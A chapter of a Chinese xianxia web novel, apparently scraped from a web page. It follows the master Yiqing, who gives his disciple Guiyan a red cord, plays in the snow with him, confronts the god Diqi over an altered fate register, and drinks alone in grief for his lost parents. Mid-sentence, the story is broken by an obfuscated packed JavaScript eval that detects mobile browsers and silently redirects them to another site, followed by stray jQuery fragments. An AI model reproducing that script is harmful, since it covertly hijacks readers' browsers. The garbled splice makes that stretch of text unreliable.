25. 贰拾伍·安然无虞

作品:《疯浪子

    熠清将手放在他面前白雾浓绕之间缓慢萦绕出个红色圆形,是三个红绳,并且末端挂着个珠子晶莹剔透颜色各不相同,由上往下,上面的是红色珠子,下面的是棕色珠子,最下面的则是黑色。


    每个颜色不同,里面蕴含的神力也就不同,他取出最上面的红珠子而其他两个则消失在手心当中。


    熠清道:“伸出手来。”


    归砚听话的将手伸出,抬眼看着自家师尊的侧颜,笑了笑。


    手上被带着了红绳,完全没意识到自己的发烧好了,内心又纠结又开心,这是师尊给他的,虽说师弟们都有,但是他这个是独一无二。


    “师尊,师弟们也有?”


    虽然已经知道答案了,但他还是要问一问。


    熠清“嗯”了一声道:“你们都是为师的徒弟,自然不能厚此薄彼。”


    “砚儿,你是师兄,要多和师弟沟通沟通,明白吗。”


    归砚缓慢地将另一只手移至背后指甲嵌进肉里,紧紧拧着,点头,乖巧地笑道:“好,师尊放心弟子一定会和师弟好好相处的。”


    熠清感慨这孩子终于理解了:“砚儿,今天便不必做功课了,多休息休息。”


    归砚意识到他要离开了,抓住他的手腕拉到床榻上,撒着娇:“师尊,你可不可以多陪陪我,我…”


    熠清内心挣扎了一番过后点头同意:“好,为师陪你。”


    归砚头枕着他的手臂,“师尊,徒儿想看雪,”说着还将他的手臂搂的紧了些。


    熠清揽住瘦小的腰肢,见体温正常后这才道:“抓稳,为师带你去个地方。”


    归砚眼睛紧紧地闭着,感觉自己的身体浮在空中,正意外,恍然睁开眼睛却发现周围全是星辰,仿佛整个银河尽在眼前。


    “哇,师尊,这里是哪里啊,好漂亮。”


    他的声音伴随回响。


    好神奇啊。


    熠清将他换了个位置,“能站稳吗?”归砚点头,紧接着他就感觉自己的腰被松开,然后脚踏在空中,虽然有点晃眼,但手被握着,也就不感觉害怕了。


    直到穿越重重障碍,眼前豁然开朗,从漫天星辰,变为雪花飞扬,原来只是一瞬间的事儿。


    当脚踏到雪地上的时候,手心被松开,但余温尚在,归砚跑到了盈盈白雪当中,尽情欢呼。


    转过身去,一袭白色身影在不远处静静地望着他。


    归砚停在原地,他真希望,能够待在这里一辈子和师尊一起。


    熠清见他发呆,蹲下身子团起雪球,扔了过去。


    归砚肩膀被砸了一下,他捂着肩膀,看向自己的师尊,随后蹲下身子,团起个更大的雪球扔去。


    “师尊,看招。”


    欢笑声充斥在这一片白茫茫天地中,这里除了枯萎朽木的树枝,什么都没有了,余下的只有雪,皑皑雪花还在不停地飞舞,飘向四处。


    无论是头上亦或是身上,到处沾着雪花,洁白干净,不染尘埃。


    他们玩累了,躺在地上被雪包裹,归砚小小一只,抬起眼眸,问道:“师尊,这里到底是什么地方啊,我从未见过如此美的景色。”


    熠清手指朝空中画了一圈,天空上方开始变换景象,一会满天繁星,一会白云朵朵,“这里是为师修炼的地方。”也是识海。


    归砚:“师尊,我只听说你会控水没想到雪也行啊。”


    熠清:“你这笨蛋,那你不妨猜猜,雪融化了是什么?”


    归砚恍然大悟:“是水!”


    “师尊,师尊,我猜的,对不对。”


    熠清笑了笑:“对,你可真是个机灵鬼。”


    归砚:“师尊夸了我就不能夸别人了。”


    熠清:“为什么?”


    归砚:“因为夸了别人,那属于我的夸奖便会转移到别人身上。”


    熠清:“…”


    “你听谁说的。”


    归砚:“司命狄淇,他就是这么和我说的,还说师尊你性情冷淡,是个冰块脸,冷巴巴的不好亲近,他还说每次找你下棋你总是不说话,因此他还说师尊沉默寡言少言少语。”


    熠清气不打一处来:“他就是这样和你说为师的。”


    归砚头点的跟拨浪鼓一样:“对啊,师尊。”


    刚说完这句话,归砚便被猛的拽了起来,再次一晃眼又回到了大殿,而身旁早已没了人影。


    …


    司命殿。


    狄淇穿着一身紫色衣袍,此时此刻正在大殿内,指挥着丫鬟擦拭他那些宝贵瓷瓶。


    “这个轻点擦,别给我弄坏了哟。”


    “诶,还有这个用点力啊,要不然怎么能擦干净上面的灰,好好擦,别偷懒。”


    丫鬟小心翼翼地道:“是,神君。”


    狄淇正准备躺在椅子上舒舒服服地喝个茶,睡个下午觉的时候,还没迈出一步,外面的守卫着急忙慌的跑了进来,气喘吁吁的半天连话都说不明白:“司命神君…不不好了…”


    狄淇一看他这副模样嫌弃地道:“不是都说过了吗?要注重形象,注重形象,你看看你满头大汗的成何体统。”


    守卫刚想说,就感着身后冷气森然,赶忙让出条道路,屁颠屁颠溜走了。


    熠清浑身散发着寒气,眉眼之中肃杀之意凌然,他一步步朝前走,周围的地面甚至展示台上的瓷瓶都被一层冰霜冻住了。


    狄淇心疼的看着他那些瓶子:“哎呀,你这是干嘛呀,我这东西可是值钱的很啊,你要是给我冻坏了,得给我赔。”


    见他这个样子,挥了挥手:“你们都先下去。”


    丫鬟们巴不得赶紧离开,直到殿门被重重关上,大殿中央的所有蜡烛全部齐刷刷的地点燃,映照出楼上甚至底下每个书架上的古老书籍。


    “你这是又怎么了?谁惹你了?”狄淇还在明知故问。


    熠清夺过他手中的扇子,往前走,“查的怎么样了。”


    狄淇哦道:“你没给我任何好处,还想让我帮你,熠清啊,熠清啊,听没听说过求人要有求人的态度。”


    熠清冷声回应:“你不是人。”


    狄淇挠头思考。


    这怎么这么像骂他呢。


    “不是,你干嘛呀,前面可都是我珍藏的卷轴,别给我弄坏了。”他说的这空档,其中一个卷轴就已经被抽出来拿在手里了。


    熠清端详上面的字迹,“九州大陆纪事”专门露出书名给他看,在手中晃悠,“这个珍贵吗?”


    狄淇嘟囔腮帮子,刚想伸手接过却被躲开,“真贵啊,熠熠,你可要拿稳了。”


    熠清手指松开了一瞬,又很快抓住:“办的事怎么样了。”


    狄淇“哎呦”一声:“好了,好了,祖宗啊,就在桌案上放着,你快去看吧。”


    熠清:“接着,”他将手中的卷轴扔了过去,狄淇着急忙慌的接住,还不忘小心翼翼的抚摸,放回原位。


    熠清拾阶而上,坐在桌案旁翻找,有一本册子,名字叫无随,这是之前太子历劫的册子,他分明安排好荣华富贵一生却未曾料到出了差错。


    翻开册子,刚开头一直书写着他怎样怎样过完的一生,是富贵的,可直到最后一张,却又是另一个不同的人生。


    熠清抬眼正对上狄淇复杂的神情。


    “谁干的?”


    狄淇叹气:“熠清你还是不要知道了,对你没有好处,放心,那个家伙不会害太子。”


    熠清冷哼一声:“我早就猜到了,”可他手上的册子早已经被握着泛皱。


    放下册子丢在一旁,他下了台阶,冷着脸:“你在替他办事,对吗?”


    狄淇没有回复他。


    熠清道:“以后我的徒弟只能我来教。”


    狄淇:“?”


    “诶?你这是什么话。”


    狄淇转过身就瞧见旁边已然空无一物,回头才发现留给他的只有后背。


    “熠清,你怎么能这么想我呢,你的徒弟我怎么可能教,我可什么都没有说,你这人怎么这样啊。”


    …


    熠清回去之时已经是晚间,他握着手上的红绳,急匆匆地往纪雾两兄弟住处走去。


    却未曾发现在黑夜当中等候他多时的人。


    木门被打开,他看到纪雾正趴在昏暗的烛光下写着字,听到动静抬起眼,看到是师尊,惊喜万分:“师尊,您怎么


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16777032|190039||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    来了。”


    熠清问:“纪檐呢?”


    纪雾放下笔,走过去,行了一礼,道:“师尊,您先坐,我哥哥他出去了,过会就回来。”


    熠清走过去,将手上的红绳放到桌上,“棕色是你哥哥的,为师就先回去了,你们早点休息,明天再来给为师今天的成果。”


    纪雾点点头:“多谢师尊。”


    晚风微凉,熠清路过梅花树,几朵梅花迎风而下,落到他的头上。


    抬头仰望月光,心中不禁感慨,时光过得可真快啊,匆匆一晃又是百年,他记得自己刚来的时候也还是个孩子,而如今都已经是青年了。


    手指萦绕于空中,轻轻一挥,天空上方雪花缓缓落下来,周身树木花朵随风舞动,他迈出一步,欣赏着天空上方的雪,行走间衣摆带动沾染上雪花。


    崖边,周围空旷,熠清后背倚靠梅花树,芬芳四溢,他坐在树下手指挥动隔空出现酒坛,取出塞子,放在鼻尖闻了闻,是他最喜欢的梅子酒,鼻腔间充斥着梅果香甜。


    猛地仰头灌了一口,酒水浸透衣领,他眺望远方手指握着酒坛口,手臂伸直朝远方敬了敬,眼睛顿时红润,泪水下意识的夺眶而出。


    可内心还在挣扎,调侃。


    都多大了,有什么好哭的。


    “敬,父王,母后,愿你们一切安好,不必记挂儿臣,儿臣过的很好。”


    熠清喝完一坛后又接着变出许多坛放在一旁,这是他这些年所酿的,大的酒坛还埋在树下,而小的则被他变出来一个劲儿的喝,可惜了这么好的酒只有他一人独享,凡人总说酒可以解忧愁,忘却一切烦心事,可为什么喝了这么多还是忘不掉,仇恨在心中蔓延生根,甚至发芽。


    这百年间,他承受太多太多,都快忘却,自己的家…长什么样子了,甚至自己的父王母后,连个长明灯都无,何谈点亮,归家指引未了,他们的骸骨不知所踪,他这个儿子当的也太不称职了些。


    “母后,你知不知道,我无时无刻不在想你,可我的眼睛,我的眼睛看不见了,都怪我太软弱,太无能,没办法保护你们,保护族人。”


    “是我的错,一切都是我的错。”


    就算他在怎么强行忍住泪水可还是不经意间流淌下来,滴落到土地上,很快那一片便有无数嫩芽冒出,绿茵茵地向他炫耀。


    熠清旁边堆了二十几坛,手上还拿着一坛,正往嘴里灌,刚喝到一半,手腕便被一只小手抓住,他抬起通红的眼眶看向来人。


    归砚不明白自家师尊为何躲在这里喝酒,他刚刚回去等了好久好久都没等到师尊过来,分明答应过他晚上会来,于是只好自己出来寻找。


    “师尊,你怎么了?”归砚松开他的手,紧挨着他坐下,看他看过的风景,“师尊,是发生什么事了吗。”


    熠清摇头:“为师无事。”


    将最后一口酒饮完后,他将坛子丢在一旁,看着天空上方悬挂着的明月,愣愣出神。


    归砚站起身,走到那堆坛子旁,指着空坛子问:“师尊,徒儿也想喝。”


    熠清无奈拉着他坐下,教导:“小孩子不能喝酒。”


    归砚靠在他身旁,手指有一搭没一搭的敲着坛子:“师尊,这是您亲手酿的,我也想尝一尝,就尝一小口,可以吗。”


    他看着这小家伙渴望的眼神,伸出手,一小坛酒出现在他手上,打开塞子,递给他,归砚接过酒后开心的抿了起来。


    “师尊,好好喝啊,师尊真厉害,什么都会做。”归砚眨巴着大眼睛看他,师尊不仅体贴温柔,还长得好看,他果然没选错,师尊是这天底下最好的师尊。


    熠清摸着这小家伙的头,孩子搂着自己的腰靠在他怀里。


    怎么就喝了一口就醉了。


    熠清轻笑,取出他手里的酒,却发现根本取不走,没办法,只能将塞子重新安回去,归砚抱着那坛酒不肯撒手。


    口中喃喃自语:“师尊…师尊,我好喜欢师尊。”


    熠清摸着他头的手顿了顿,虽然知道一切并不是这孩子的错,可血海深仇,他必须要报。


    他不求归砚原谅。


    只待事情了结,他定会保他安然无虞。